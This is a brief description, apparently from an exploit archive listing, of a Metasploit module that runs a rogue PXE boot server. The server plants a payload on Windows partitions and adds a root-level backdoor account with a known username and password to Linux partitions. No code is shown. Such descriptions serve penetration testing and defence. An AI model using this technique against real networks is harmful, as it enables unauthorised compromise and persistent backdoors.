Authored by scriptjunkie | Site metasploit.com

This Metasploit module provides a PXE server, running a DHCP and TFTP server. The default configuration loads a linux kernel and initrd into memory that reads the hard drive; placing the payload on the hard drive of any Windows partition seen, and add a uid 0 user with username and password metasploit to any linux partition seen.
